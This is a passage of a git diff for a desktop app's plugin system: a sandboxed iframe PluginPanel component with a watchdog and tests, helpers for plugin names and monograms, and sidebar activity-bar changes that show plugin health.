+++ b/src/renderer/src/components/plugin-catalog/plugin-display-name.ts
@@ -0,0 +1,26 @@
+/** Human title from a dotted plugin key (`example.worktree-notes` → `Worktree Notes`). */
+export function pluginDisplayNameFromKey(pluginKey: string): string {
+  return pluginKey
+    .split('.')
+    .at(-1)!
+    .split(/[-_]+/)
+    .map((word) =>
+      word.toLowerCase() === 'orca' ? 'Orca' : `${word[0]?.toUpperCase() ?? ''}${word.slice(1)}`
+    )
+    .join(' ')
+}
+
+/** One- or two-letter monogram for plugin avatar tiles. */
+export function pluginMonogram(name: string): string {
+  const parts = name
+    .trim()
+    .split(/[\s._-]+/)
+    .filter(Boolean)
+  if (parts.length === 0) {
+    return '?'
+  }
+  if (parts.length === 1) {
+    return parts[0]!.slice(0, 2).toUpperCase()
+  }
+  return `${parts[0]![0] ?? ''}${parts[1]![0] ?? ''}`.toUpperCase()
+}
diff --git a/src/renderer/src/components/right-sidebar/PluginPanel.test.tsx b/src/renderer/src/components/right-sidebar/PluginPanel.test.tsx
new file mode 100644
index 000000000..1b4d0d768
--- /dev/null
+++ b/src/renderer/src/components/right-sidebar/PluginPanel.test.tsx
@@ -0,0 +1,357 @@
+// @vitest-environment happy-dom
+
+import { act } from 'react'
+import { createRoot, type Root } from 'react-dom/client'
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+import type { ActivePluginPanel } from '@/store/plugin-panels'
+
+vi.mock('@/i18n/i18n', () => ({
+  translate: (_key: string, fallback: string) => fallback
+}))
+
+const { usePluginPanelsMock, setPanelHealthMock } = vi.hoisted(() => ({
+  usePluginPanelsMock: vi.fn<() => ActivePluginPanel[]>(() => []),
+  setPanelHealthMock: vi.fn()
+}))
+
+const { watchdogStartMock, watchdogStopMock, watchdogCallbacks } = vi.hoisted(() => ({
+  watchdogStartMock: vi.fn(),
+  watchdogStopMock: vi.fn(),
+  watchdogCallbacks: { onUnresponsive: null as (() => void) | null }
+}))
+
+vi.mock('@/store/plugin-panels', () => ({
+  usePluginPanels: usePluginPanelsMock,
+  usePluginPanelsStore: (
+    selector: (state: { setPanelHealth: typeof setPanelHealthMock }) => unknown
+  ) => selector({ setPanelHealth: setPanelHealthMock })
+}))
+
+vi.mock('./plugin-panel-watchdog', () => ({
+  createPanelWatchdog: (options: { onUnresponsive: () => void }) => {
+    watchdogCallbacks.onUnresponsive = options.onUnresponsive
+    return {
+      start: watchdogStartMock,
+      stop: watchdogStopMock,
+      handlePong: vi.fn()
+    }
+  }
+}))
+
+import PluginPanel from './PluginPanel'
+
+;(
+  globalThis as typeof globalThis & { IS_REACT_ACT_ENVIRONMENT?: boolean }
+).IS_REACT_ACT_ENVIRONMENT = true
+
+const dashboardPanel: ActivePluginPanel = {
+  id: 'dashboard',
+  title: 'Dashboard',
+  icon: 'gauge',
+  tabKey: 'plugin:orca-samples.my-plugin/dashboard',
+  pluginKey: 'orca-samples.my-plugin',
+  pluginName: 'My Plugin'
+}
+
+let container: HTMLDivElement
+let root: Root
+const readPanelEntryMock = vi.fn()
+const panelActionMock = vi.fn()
+const SESSION_TOKEN = 's'.repeat(43)
+const REFRESHED_SESSION_TOKEN = 'r'.repeat(43)
+let pluginChangedListener: (() => void) | null
+
+function waitForHappyDomTasks(): Promise<void> {
+  return (
+    window as unknown as { happyDOM: { waitUntilComplete: () => Promise<void> } }
+  ).happyDOM.waitUntilComplete()
+}
+
+beforeEach(() => {
+  container = document.createElement('div')
+  document.body.appendChild(container)
+  root = createRoot(container)
+  readPanelEntryMock.mockReset()
+  panelActionMock.mockReset()
+  panelActionMock.mockResolvedValue({ ok: true, value: { delivered: true } })
+  watchdogStartMock.mockReset()
+  watchdogStopMock.mockReset()
+  watchdogCallbacks.onUnresponsive = null
+  setPanelHealthMock.mockReset()
+  document.documentElement.classList.remove('dark')
+  pluginChangedListener = null
+  usePluginPanelsMock.mockReturnValue([dashboardPanel])
+  globalThis.window.api = {
+    plugins: {
+      readPanelEntry: readPanelEntryMock,
+      panelAction: panelActionMock,
+      onChanged: (listener: () => void) => {
+        pluginChangedListener = listener
+        return vi.fn()
+      }
+    }
+  } as unknown as Window['api']
+})
+
+afterEach(async () => {
+  await act(async () => {
+    root.unmount()
+  })
+  container.remove()
+  vi.useRealTimers()
+  vi.restoreAllMocks()
+})
+
+async function renderPanel(tabKey: string): Promise<void> {
+  await act(async () => {
+    root.render(<PluginPanel tabKey={tabKey} />)
+  })
+}
+
+describe('PluginPanel', () => {
+  it('renders the panel HTML in a scripts-only sandboxed iframe', async () => {
+    readPanelEntryMock.mockResolvedValue({
+      html: '<h1>Hello plugin</h1>',
+      sessionToken: SESSION_TOKEN
+    })
+
+    await renderPanel('plugin:orca-samples.my-plugin/dashboard')
+
+    const initialIframe = container.querySelector('iframe')
+    expect(initialIframe).not.toBeNull()
+    expect(readPanelEntryMock).toHaveBeenCalledWith({
+      pluginKey: 'orca-samples.my-plugin',
+      panelId: 'dashboard'
+    })
+    expect(initialIframe?.getAttribute('srcdoc')).toContain('<h1>Hello plugin</h1>')
+    expect(initialIframe?.getAttribute('title')).toBe('Dashboard')
+    expect(initialIframe?.getAttribute('name')).toBe(
+      'orca-plugin-panel:plugin:orca-samples.my-plugin/dashboard'
+    )
+    // Why: allow-same-origin would let plugin HTML reach the app DOM/storage;
+    // the sandbox must stay scripts-only.
+    expect(initialIframe?.getAttribute('sandbox')).toBe('allow-scripts')
+  })
+
+  it('restarts the watchdog after a dev reload replaces the panel document', async () => {
+    readPanelEntryMock.mockResolvedValue({
+      html: '<h1>Hello plugin</h1>',
+      sessionToken: SESSION_TOKEN
+    })
+
+    await renderPanel('plugin:orca-samples.my-plugin/dashboard')
+
+    const iframe = container.querySelector('iframe')
+    expect(iframe).not.toBeNull()
+    expect(watchdogStartMock).toHaveBeenCalledTimes(1)
+
+    readPanelEntryMock.mockResolvedValue({
+      html: '<h1>Reloaded plugin</h1>',
+      sessionToken: SESSION_TOKEN
+    })
+    await act(async () => {
+      pluginChangedListener?.()
+      await waitForHappyDomTasks()
+    })
+
+    const reloadedIframe = container.querySelector('iframe')
+    expect(reloadedIframe).not.toBe(iframe)
+    expect(reloadedIframe?.getAttribute('srcdoc')).toContain('Reloaded plugin')
+    expect(watchdogStopMock).toHaveBeenCalledTimes(1)
+    expect(watchdogStartMock).toHaveBeenCalledTimes(2)
+  })
+
+  it('remounts with fresh host theme tokens when the app theme changes', async () => {
+    readPanelEntryMock.mockResolvedValue({
+      html: '<html class="__ORCA_COLOR_SCHEME__"><head><style>:root{/*__ORCA_PANEL_TOKENS__*/}</style></head>',
+      sessionToken: SESSION_TOKEN
+    })
+    await renderPanel('plugin:orca-samples.my-plugin/dashboard')
+    const lightFrame = container.querySelector('iframe')
+    expect(lightFrame?.getAttribute('srcdoc')).toContain('<html class="light">')
+
+    await act(async () => {
+      document.documentElement.classList.add('dark')
+      await waitForHappyDomTasks()
+    })
+
+    const darkFrame = container.querySelector('iframe')
+    expect(darkFrame).not.toBe(lightFrame)
+    expect(darkFrame?.getAttribute('srcdoc')).toContain('<html class="dark">')
+  })
+
+  it('rebinds a refreshed session without remounting unchanged panel HTML', async () => {
+    readPanelEntryMock.mockResolvedValue({
+      html: '<h1>Hello plugin</h1>',
+      sessionToken: SESSION_TOKEN
+    })
+    await renderPanel('plugin:orca-samples.my-plugin/dashboard')
+    const iframe = container.querySelector('iframe')
+    expect(iframe).not.toBeNull()
+    expect(watchdogStartMock).toHaveBeenCalledTimes(1)
+
+    readPanelEntryMock.mockResolvedValue({
+      html: '<h1>Hello plugin</h1>',
+      sessionToken: REFRESHED_SESSION_TOKEN
+    })
+    await act(async () => {
+      pluginChangedListener?.()
+      await waitForHappyDomTasks()
+    })
+
+    expect(container.querySelector('iframe')).toBe(iframe)
+    expect(watchdogStopMock).not.toHaveBeenCalled()
+    expect(watchdogStartMock).toHaveBeenCalledTimes(1)
+
+    const event = new MessageEvent('message', {
+      data: {
+        type: 'orca-panel-action',
+        requestId: 'request-one',
+        action: 'notifications.show',
+        params: { title: 'Hello' }
+      }
+    })
+    Object.defineProperty(event, 'source', { value: iframe?.contentWindow })
+    await act(async () => {
+      window.dispatchEvent(event)
+      await waitForHappyDomTasks()
+    })
+    expect(panelActionMock).toHaveBeenCalledWith({
+      sessionToken: REFRESHED_SESSION_TOKEN,
+      action: 'notifications.show',
+      params: { title: 'Hello' }
+    })
+  })
+
+  it('ignores an obsolete panel reload that finishes after a newer one', async () => {
+    readPanelEntryMock.mockResolvedValueOnce({
+      html: '<h1>Initial plugin</h1>',
+      sessionToken: SESSION_TOKEN
+    })
+    await renderPanel('plugin:orca-samples.my-plugin/dashboard')
+
+    let resolveObsolete!: (entry: null) => void
+    let resolveCurrent!: (entry: { html: string; sessionToken: string }) => void
+    readPanelEntryMock
+      .mockImplementationOnce(
+        () =>
+          new Promise((resolve) => {
+            resolveObsolete = resolve
+          })
+      )
+      .mockImplementationOnce(
+        () =>
+          new Promise((resolve) => {
+            resolveCurrent = resolve
+          })
+      )
+
+    await act(async () => {
+      pluginChangedListener?.()
+      pluginChangedListener?.()
+      resolveCurrent({
+        html: '<h1>Current plugin</h1>',
+        sessionToken: REFRESHED_SESSION_TOKEN
+      })
+      await waitForHappyDomTasks()
+    })
+    await act(async () => {
+      resolveObsolete(null)
+      await waitForHappyDomTasks()
+    })
+
+    expect(container.querySelector('iframe')?.getAttribute('srcdoc')).toContain('Current plugin')
+    expect(container.textContent).not.toContain('could not be loaded')
+  })
+
+  it('shows an error state when the panel entry cannot be read', async () => {
+    readPanelEntryMock.mockResolvedValue(null)
+
+    await renderPanel('plugin:orca-samples.my-plugin/dashboard')
+
+    expect(container.querySelector('iframe')).toBeNull()
+    expect(container.textContent).toContain('The plugin panel could not be loaded.')
+  })
+
+  it('recovers from a transient read failure with byte-identical HTML', async () => {
+    readPanelEntryMock.mockResolvedValue({
+      html: '<h1>Hello plugin</h1>',
+      sessionToken: SESSION_TOKEN
+    })
+    await renderPanel('plugin:orca-samples.my-plugin/dashboard')
+    const initialFrame = container.querySelector('iframe')
+
+    readPanelEntryMock.mockResolvedValueOnce(null)
+    await act(async () => {
+      pluginChangedListener?.()
+      await waitForHappyDomTasks()
+    })
+    expect(container.textContent).toContain('could not be loaded')
+
+    readPanelEntryMock.mockResolvedValueOnce({
+      html: '<h1>Hello plugin</h1>',
+      sessionToken: REFRESHED_SESSION_TOKEN
+    })
+    await act(async () => {
+      pluginChangedListener?.()
+      await waitForHappyDomTasks()
+    })
+
+    expect(container.querySelector('iframe')).not.toBe(initialFrame)
+    expect(container.querySelector('iframe')?.getAttribute('srcdoc')).toContain('Hello plugin')
+    expect(setPanelHealthMock).toHaveBeenLastCalledWith(
+      'plugin:orca-samples.my-plugin/dashboard',
+      'healthy'
+    )
+  })
+
+  it('publishes watchdog suspension to host-owned panel health state', async () => {
+    readPanelEntryMock.mockResolvedValue({
+      html: '<h1>Hello plugin</h1>',
+      sessionToken: SESSION_TOKEN
+    })
+    await renderPanel('plugin:orca-samples.my-plugin/dashboard')
+
+    await act(async () => watchdogCallbacks.onUnresponsive?.())
+
+    expect(setPanelHealthMock).toHaveBeenCalledWith(
+      'plugin:orca-samples.my-plugin/dashboard',
+      'error'
+    )
+    expect(container.textContent).toContain('stopped responding and was suspended')
+  })
+
+  it('keeps a watchdog error published when navigation unmounts the failed panel', async () => {
+    readPanelEntryMock.mockResolvedValue({
+      html: '<h1>Hello plugin</h1>',
+      sessionToken: SESSION_TOKEN
+    })
+    await renderPanel('plugin:orca-samples.my-plugin/dashboard')
+    setPanelHealthMock.mockClear()
+    await act(async () => watchdogCallbacks.onUnresponsive?.())
+
+    await act(async () => root.render(<div>Explorer</div>))
+
+    expect(setPanelHealthMock).toHaveBeenCalledTimes(1)
+    expect(setPanelHealthMock).toHaveBeenCalledWith(
+      'plugin:orca-samples.my-plugin/dashboard',
+      'error'
+    )
+  })
+
+  it('shows an unavailable state for a tab whose plugin is gone', async () => {
+    usePluginPanelsMock.mockReturnValue([])
+
+    await renderPanel('plugin:orca-samples.removed-plugin/dashboard')
+
+    expect(readPanelEntryMock).not.toHaveBeenCalled()
+    expect(container.textContent).toContain('This plugin panel is no longer available.')
+  })
+
+  it('treats a malformed plugin tab key as unavailable', async () => {
+    await renderPanel('plugin:not-a-valid-key')
+
+    expect(readPanelEntryMock).not.toHaveBeenCalled()
+    expect(container.textContent).toContain('This plugin panel is no longer available.')
+  })
+})
diff --git a/src/renderer/src/components/right-sidebar/PluginPanel.tsx b/src/renderer/src/components/right-sidebar/PluginPanel.tsx
new file mode 100644
index 000000000..b8c8ee87d
--- /dev/null
+++ b/src/renderer/src/components/right-sidebar/PluginPanel.tsx
@@ -0,0 +1,236 @@
+import React, { useEffect, useMemo, useRef, useState } from 'react'
+import { isPluginPanelTabKey } from '../../../../shared/plugins/plugin-manifest'
+import {
+  PANEL_PING_TYPE,
+  PLUGIN_PANEL_FRAME_NAME_PREFIX
+} from '../../../../shared/plugins/plugin-panel-bridge'
+import {
+  PANEL_SHELL_COLOR_SCHEME_PLACEHOLDER,
+  PANEL_SHELL_TOKENS_PLACEHOLDER
+} from '../../../../shared/plugins/plugin-panel-shell'
+import {
+  callPanelActionViaPreload,
+  createPanelBridgeMessageHandler
+} from './plugin-panel-bridge-host'
+import { createPanelWatchdog } from './plugin-panel-watchdog'
+import { buildPanelDesignTokenCss, currentPanelColorScheme } from './plugin-panel-design-token-css'
+import { usePluginPanelThemeRevision } from './use-plugin-panel-theme-revision'
+import { usePluginPanels, usePluginPanelsStore } from '@/store/plugin-panels'
+import { translate } from '@/i18n/i18n'
+
+type PluginPanelProps = {
+  tabKey: string
+}
+
+type PluginPanelEntryState =
+  | { status: 'loading' }
+  | { status: 'error' }
+  | { status: 'unresponsive' }
+  | { status: 'ready'; shellHtml: string; documentRevision: number }
+
+function PluginPanelMessage({ children }: { children: React.ReactNode }): React.JSX.Element {
+  return (
+    <div className="flex min-h-0 flex-1 items-center justify-center p-6 text-center text-sm text-muted-foreground">
+      {children}
+    </div>
+  )
+}
+
+/** Fills the shell placeholders main cannot know (theme class + token
+ *  values). First-occurrence replace: the prelude parses before any plugin
+ *  content, so a plugin echoing the placeholder string is inert. */
+function fillPanelShell(html: string): string {
+  return html
+    .replace(PANEL_SHELL_COLOR_SCHEME_PLACEHOLDER, currentPanelColorScheme())
+    .replace(PANEL_SHELL_TOKENS_PLACEHOLDER, buildPanelDesignTokenCss())
+}
+
+function PluginPanel({ tabKey }: PluginPanelProps): React.JSX.Element {
+  const panels = usePluginPanels()
+  const setPanelHealth = usePluginPanelsStore((state) => state.setPanelHealth)
+  const panel = isPluginPanelTabKey(tabKey)
+    ? (panels.find((entry) => entry.tabKey === tabKey) ?? null)
+    : null
+  const [entryState, setEntryState] = useState<PluginPanelEntryState>({ status: 'loading' })
+  const [sessionToken, setSessionToken] = useState<string | null>(null)
+  const [loadedFrameKey, setLoadedFrameKey] = useState<string | null>(null)
+  const iframeRef = useRef<HTMLIFrameElement | null>(null)
+  const themeRevision = usePluginPanelThemeRevision()
+
+  const pluginKey = panel?.pluginKey ?? null
+  const panelId = panel?.id ?? null
+  const panelShell = entryState.status === 'ready' ? entryState.shellHtml : null
+  const panelDocument = panelShell ? fillPanelShell(panelShell) : null
+  // Why: the shell bakes Orca's color scheme + design tokens into srcdoc, so the
+  // frame must be rebuilt when the app theme changes, not only when the document does.
+  const panelFrameKey =
+    entryState.status === 'ready'
+      ? `${tabKey}:${entryState.documentRevision}:${themeRevision}`
+      : null
+  const watchdog = useMemo(
+    () =>
+      createPanelWatchdog({
+        sendPing: (pingId) =>
+          iframeRef.current?.contentWindow?.postMessage({ type: PANEL_PING_TYPE, pingId }, '*'),
+        onUnresponsive: () => {
+          setPanelHealth(tabKey, 'error')
+          setEntryState({ status: 'unresponsive' })
+        }
+      }),
+    [setPanelHealth, tabKey]
+  )
+
+  useEffect(() => {
+    if (!sessionToken || !panelDocument) {
+      return
+    }
+    let active = true
+    const handler = createPanelBridgeMessageHandler({
+      sessionToken,
+      getPanelWindow: () => iframeRef.current?.contentWindow ?? null,
+      callPanelAction: callPanelActionViaPreload,
+      isActive: () => active,
+      onPong: (pingId) => watchdog.handlePong(pingId)
+    })
+    window.addEventListener('message', handler)
+    return () => {
+      active = false
+      window.removeEventListener('message', handler)
+    }
+  }, [panelDocument, sessionToken, watchdog])
+
+  useEffect(() => {
+    if (!panelFrameKey || loadedFrameKey !== panelFrameKey) {
+      return
+    }
+    // The srcdoc prelude must install its pong listener before the first ping;
+    // otherwise a healthy panel can lose the startup ping and be suspended.
+    watchdog.start()
+    return () => watchdog.stop()
+  }, [loadedFrameKey, panelFrameKey, watchdog])
+
+  useEffect(() => {
+    if (!pluginKey || !panelId) {
+      return
+    }
+    let cancelled = false
+    let currentHtml: string | null = null
+    let documentRevision = 0
+    setEntryState({ status: 'loading' })
+    setSessionToken(null)
+    const pluginsApi = window.api?.plugins
+    if (!pluginsApi) {
+      setPanelHealth(tabKey, 'error')
+      setEntryState({ status: 'error' })
+      return
+    }
+    let loadGeneration = 0
+    const load = (): void => {
+      const generation = ++loadGeneration
+      pluginsApi
+        .readPanelEntry({ pluginKey, panelId })
+        .then((entry) => {
+          if (cancelled || generation !== loadGeneration) {
+            return
+          }
+          if (!entry) {
+            currentHtml = null
+            setSessionToken(null)
+            setPanelHealth(tabKey, 'error')
+            setEntryState({ status: 'error' })
+            return
+          }
+          // Session rotation rebinds authority without replacing an unchanged
+          // document or restarting its watchdog.
+          setSessionToken(entry.sessionToken)
+          setPanelHealth(tabKey, 'healthy')
+          if (entry.html !== currentHtml) {
+            currentHtml = entry.html
+            documentRevision += 1
+            setPanelHealth(tabKey, 'healthy')
+            setEntryState({
+              status: 'ready',
+              shellHtml: entry.html,
+              documentRevision
+            })
+          }
+        })
+        .catch(() => {
+          if (!cancelled && generation === loadGeneration) {
+            currentHtml = null
+            setSessionToken(null)
+            setPanelHealth(tabKey, 'error')
+            setEntryState({ status: 'error' })
+          }
+        })
+    }
+    load()
+    const unsubscribe = pluginsApi.onChanged ? pluginsApi.onChanged(load) : null
+    return () => {
+      cancelled = true
+      loadGeneration += 1
+      unsubscribe?.()
+    }
+  }, [panelId, pluginKey, setPanelHealth, tabKey])
+
+  // Persisted plugin tabs can outlive their plugin (uninstalled/disabled);
+  // render a graceful empty state instead of a broken frame.
+  if (!panel) {
+    return (
+      <PluginPanelMessage>
+        {translate(
+          'auto.components.right.sidebar.PluginPanel.unavailable',
+          'This plugin panel is no longer available.'
+        )}
+      </PluginPanelMessage>
+    )
+  }
+
+  if (entryState.status === 'loading') {
+    return (
+      <PluginPanelMessage>
+        {translate('auto.components.right.sidebar.PluginPanel.loading', 'Loading plugin panel...')}
+      </PluginPanelMessage>
+    )
+  }
+
+  if (entryState.status === 'unresponsive') {
+    return (
+      <PluginPanelMessage>
+        {translate(
+          'auto.components.right.sidebar.PluginPanel.unresponsive',
+          'This plugin panel stopped responding and was suspended.'
+        )}
+      </PluginPanelMessage>
+    )
+  }
+
+  if (entryState.status === 'error') {
+    return (
+      <PluginPanelMessage>
+        {translate(
+          'auto.components.right.sidebar.PluginPanel.loadFailed',
+          'The plugin panel could not be loaded.'
+        )}
+      </PluginPanelMessage>
+    )
+  }
+
+  return (
+    <iframe
+      key={panelFrameKey}
+      ref={iframeRef}
+      // SECURITY: never add allow-same-origin — the srcdoc frame must stay an
+      // opaque origin so plugin UI cannot reach the app DOM, storage, or IPC.
+      // The srcdoc itself is the host CSP shell wrapped around plugin HTML.
+      sandbox="allow-scripts"
+      name={`${PLUGIN_PANEL_FRAME_NAME_PREFIX}${tabKey}`}
+      srcDoc={panelDocument ?? ''}
+      onLoad={() => setLoadedFrameKey(panelFrameKey)}
+      title={panel.title}
+      className="h-full w-full flex-1 border-0 bg-background"
+    />
+  )
+}
+
+export default PluginPanel
diff --git a/src/renderer/src/components/right-sidebar/activity-bar-buttons.test.tsx b/src/renderer/src/components/right-sidebar/activity-bar-buttons.test.tsx
new file mode 100644
index 000000000..7b66831a0
--- /dev/null
+++ b/src/renderer/src/components/right-sidebar/activity-bar-buttons.test.tsx
@@ -0,0 +1,47 @@
+// @vitest-environment happy-dom
+
+import { act } from 'react'
+import { createRoot } from 'react-dom/client'
+import { afterEach, describe, expect, it, vi } from 'vitest'
+import { TopActivityOverflowMenu, type ActivityBarItem } from './activity-bar-buttons'
+
+vi.mock('@/i18n/i18n', () => ({
+  translate: (_key: string, fallback: string) => fallback
+}))
+
+const roots: ReturnType<typeof createRoot>[] = []
+
+afterEach(async () => {
+  await act(async () => {
+    for (const root of roots.splice(0)) {
+      root.unmount()
+    }
+  })
+  document.body.innerHTML = ''
+})
+
+describe('TopActivityOverflowMenu', () => {
+  it('announces a hidden plugin panel error from the More button', async () => {
+    const container = document.createElement('div')
+    document.body.appendChild(container)
+    const root = createRoot(container)
+    roots.push(root)
+    const item: ActivityBarItem = {
+      id: 'plugin:orca-samples.demo/dashboard',
+      icon: () => <span />,
+      title: 'Demo',
+      shortcut: '',
+      statusIndicator: 'failure'
+    }
+
+    await act(async () => {
+      root.render(
+        <TopActivityOverflowMenu items={[item]} activeTab="explorer" onSelect={vi.fn()} />
+      )
+    })
+
+    expect(container.querySelector('button')?.getAttribute('aria-label')).toBe(
+      'More sidebar tabs — Error'
+    )
+  })
+})
diff --git a/src/renderer/src/components/right-sidebar/activity-bar-buttons.tsx b/src/renderer/src/components/right-sidebar/activity-bar-buttons.tsx
index 8ce095279..dd67762bb 100644
--- a/src/renderer/src/components/right-sidebar/activity-bar-buttons.tsx
+++ b/src/renderer/src/components/right-sidebar/activity-bar-buttons.tsx
@@ -25,6 +25,8 @@ export type ActivityBarItem = {
   folderOnly?: boolean
   /** When true, shown only for worktrees that belong to an SSH repo. */
   sshOnly?: boolean
+  /** Host-owned health indicator; plugin content cannot style this chrome. */
+  statusIndicator?: CheckStatus
 }
 
 const STATUS_DOT_COLOR: Record<CheckStatus, string> = {
@@ -34,6 +36,13 @@ const STATUS_DOT_COLOR: Record<CheckStatus, string> = {
   neutral: 'bg-muted-foreground'
 }
 
+function activityItemAriaLabel(item: ActivityBarItem, status?: CheckStatus | null): string {
+  const base = item.shortcut ? `${item.title} (${item.shortcut})` : item.title
+  return status === 'failure'
+    ? `${base} — ${translate('auto.components.right.sidebar.activityBar.error', 'Error')}`
+    : base
+}
+
 export function TopActivityOverflowMenu({
   items,
   activeTab,
@@ -49,6 +58,13 @@ export function TopActivityOverflowMenu({
     checksStatus && checksStatus !== 'neutral' && items.some((item) => item.id === 'checks')
       ? checksStatus
       : null
+  const hiddenItemStatus = items.some((item) => item.statusIndicator === 'failure')
+    ? 'failure'
+    : hiddenChecksStatus
+  const moreTabsLabel = translate(
+    'auto.components.right.sidebar.activity.bar.buttons.1fd284e931',
+    'More sidebar tabs'
+  )
 
   return (
     <DropdownMenu>
@@ -59,17 +75,18 @@ export function TopActivityOverflowMenu({
             'relative flex h-[36px] w-8 shrink-0 items-center justify-center text-muted-foreground/60 transition-colors hover:text-muted-foreground focus-visible:outline-none focus-visible:ring-1 focus-visible:ring-ring',
             RIGHT_SIDEBAR_HEADER_NO_DRAG_CLASS_NAME
           )}
-          aria-label={translate(
-            'auto.components.right.sidebar.activity.bar.buttons.1fd284e931',
-            'More sidebar tabs'
-          )}
+          aria-label={
+            hiddenItemStatus === 'failure'
+              ? `${moreTabsLabel} — ${translate('auto.components.right.sidebar.activityBar.error', 'Error')}`
+              : moreTabsLabel
+          }
         >
           <MoreHorizontal size={16} />
-          {hiddenChecksStatus && (
+          {hiddenItemStatus && (
             <div
               className={cn(
                 'absolute top-[8px] right-[4px] size-[7px] rounded-full ring-1 ring-sidebar',
-                STATUS_DOT_COLOR[hiddenChecksStatus] ?? 'bg-muted-foreground'
+                STATUS_DOT_COLOR[hiddenItemStatus] ?? 'bg-muted-foreground'
               )}
             />
           )}
@@ -85,9 +102,16 @@ export function TopActivityOverflowMenu({
               onSelect={() => onSelect(item.id)}
               className={cn(active && 'bg-accent text-accent-foreground')}
               aria-current={active ? 'page' : undefined}
+              aria-label={activityItemAriaLabel(item, item.statusIndicator)}
             >
               <Icon size={14} />
               <span>{item.title}</span>
+              {item.statusIndicator === 'failure' ? (
+                <span
+                  className={cn('ml-auto size-2 rounded-full', STATUS_DOT_COLOR.failure)}
+                  aria-hidden="true"
+                />
+              ) : null}
               {item.shortcut && <DropdownMenuShortcut>{item.shortcut}</DropdownMenuShortcut>}
             </DropdownMenuItem>
           )
@@ -112,6 +136,7 @@ export function ActivityBarButton({
 }): React.JSX.Element {
   const Icon = item.icon
   const isTop = layout === 'top'
+  const effectiveStatus = item.statusIndicator ?? statusIndicator
 
   return (
     <Tooltip>
@@ -125,16 +150,16 @@ export function ActivityBarButton({
             active ? 'text-foreground' : 'text-muted-foreground/60 hover:text-muted-foreground'
           )}
           onClick={onClick}
-          aria-label={item.shortcut ? `${item.title} (${item.shortcut})` : item.title}
+          aria-label={activityItemAriaLabel(item, effectiveStatus)}
         >
           <Icon size={isTop ? 16 : 18} />
 
-          {statusIndicator && statusIndicator !== 'neutral' && (
+          {effectiveStatus && effectiveStatus !== 'neutral' && (
             <div
               className={cn(
                 'absolute rounded-full size-[7px] ring-1 ring-sidebar',
                 isTop ? 'top-[8px] right-[5px]' : 'top-[7px] right-[7px]',
-                STATUS_DOT_COLOR[statusIndicator] ?? 'bg-muted-foreground'
+                STATUS_DOT_COLOR[effectiveStatus] ?? 'bg-muted-foreground'
               )}
             />
           )}
diff --git a/src/renderer/src/components/right-sidebar/index.tsx b/src/renderer/src/components/right-sidebar/index.tsx
index cc0eb6a36..cd64ea47d 100644
--- a/src/renderer/src/components/right-sidebar/index.tsx
+++ b/src/renderer/src/components/right-sidebar/index.tsx
@@ -26,6 +26,12 @@ import {
 } from './activity-bar-buttons'
 import { getActiveChecksStatus } from './active-checks-status'
 import { getVisibleRightSidebarActivityItems } from './right-sidebar-activity-visibility'
+import { getPluginPanelActivityItems } from './plugin-panel-activity-items'
+import {
+  collectInstalledPluginTabKeys,
+  usePluginPanels,
+  usePluginPanelsStore
+} from '@/store/plugin-panels'
 import { useShortcutLabel } from '@/hooks/useShortcutLabel'
 import {
   RIGHT_SIDEBAR_HEADER_NO_DRAG_CLASS_NAME,
@@ -48,6 +54,7 @@ import {
   shouldRenderDesktopWindowChrome
 } from '@/lib/desktop-window-chrome'
 import { getRendererAppPlatform } from '@/lib/renderer-app-platform'
+import { useInstalledPluginRouteReconciliation } from './use-installed-plugin-route-reconciliation'
 
 const ACTIVITY_BAR_SIDE_WIDTH = 40
 
@@ -84,6 +91,19 @@ function RightSidebarInner(): React.JSX.Element {
   const isFolderWorkspace = activeWorkspaceScope?.type === 'folder'
   const isFolder = isFolderWorkspace || (activeRepo ? isFolderRepo(activeRepo) : false)
   const isSshRepo = Boolean(activeRepo?.connectionId)
+  const pluginSystemEnabled = useAppStore((s) => s.settings?.pluginSystemEnabled === true)
+  const pluginPanels = usePluginPanels()
+  const visiblePluginPanels = useMemo(
+    () => (pluginSystemEnabled ? pluginPanels : []),
+    [pluginPanels, pluginSystemEnabled]
+  )
+  const installedPlugins = usePluginPanelsStore((s) => s.plugins)
+  const pluginFetchStatus = usePluginPanelsStore((s) => s.fetchStatus)
+  const pluginPanelErrors = usePluginPanelsStore((s) => s.panelErrors)
+  const installedPluginTabKeys = useMemo(
+    () => collectInstalledPluginTabKeys(installedPlugins),
+    [installedPlugins]
+  )
 
   const activityItems = useMemo<ActivityBarItem[]>(
     () => [
@@ -136,9 +156,19 @@ function RightSidebarInner(): React.JSX.Element {
         title: translate('auto.components.right.sidebar.index.441733b630', 'Ports'),
         shortcut: portsShortcut === 'Unassigned' ? '' : portsShortcut,
         sshOnly: true
-      }
+      },
+      // Why: plugin panels append after the built-in tabs so core navigation
+      // keeps stable positions regardless of which plugins are installed.
+      ...getPluginPanelActivityItems(visiblePluginPanels, pluginPanelErrors)
     ],
-    [checksShortcut, explorerShortcut, portsShortcut, sourceControlShortcut]
+    [
+      checksShortcut,
+      explorerShortcut,
+      pluginPanelErrors,
+      visiblePluginPanels,
+      portsShortcut,
+      sourceControlShortcut
+    ]
   )
 
   const visibleItems = useMemo(
@@ -159,7 +189,12 @@ function RightSidebarInner(): React.JSX.Element {
   // worktree), render a visible fallback without overwriting the stored route.
   // Folder workspaces keep a session-local effective-tab memory so a PR Checks
   // row can open a child Checks tab without erasing the parent's overview tab.
-  const normalizedActiveTab = normalizeRightSidebarRoute(rightSidebarTab).rightSidebarTab
+  // Why: pass the installed-panel set so a persisted tab for an UNINSTALLED
+  // plugin drops to Explorer instead of surviving as a dead route.
+  const normalizedActiveTab = normalizeRightSidebarRoute(rightSidebarTab, undefined, {
+    installedPluginTabKeys:
+      pluginSystemEnabled && pluginFetchStatus === 'ready' ? installedPluginTabKeys : undefined
+  }).rightSidebarTab
   const rememberedFolderTab = activeFolderWorkspaceKey
     ? rememberedFolderTabByWorkspaceKeyRef.current[activeFolderWorkspaceKey]
     : null
@@ -175,6 +210,14 @@ function RightSidebarInner(): React.JSX.Element {
     rememberedFolderTab: requestedFolderTab ?? rememberedFolderTab
   })
 
+  useInstalledPluginRouteReconciliation({
+    pluginSystemEnabled,
+    fetchStatus: pluginFetchStatus,
+    storedTab: rightSidebarTab,
+    normalizedTab: normalizedActiveTab,
+    setStoredTab: setRightSidebarTab
+  })
+
   useEffect(() => {
     lastRightSidebarRouteRequestIdRef.current = rightSidebarRouteRequestId
   }, [rightSidebarRouteRequestId])
diff --git a/src/renderer/src/components/right-sidebar/plugin-panel-activity-items.test.ts b/src/renderer/src/components/right-sidebar/plugin-panel-activity-items.test.ts
new file mode 100644
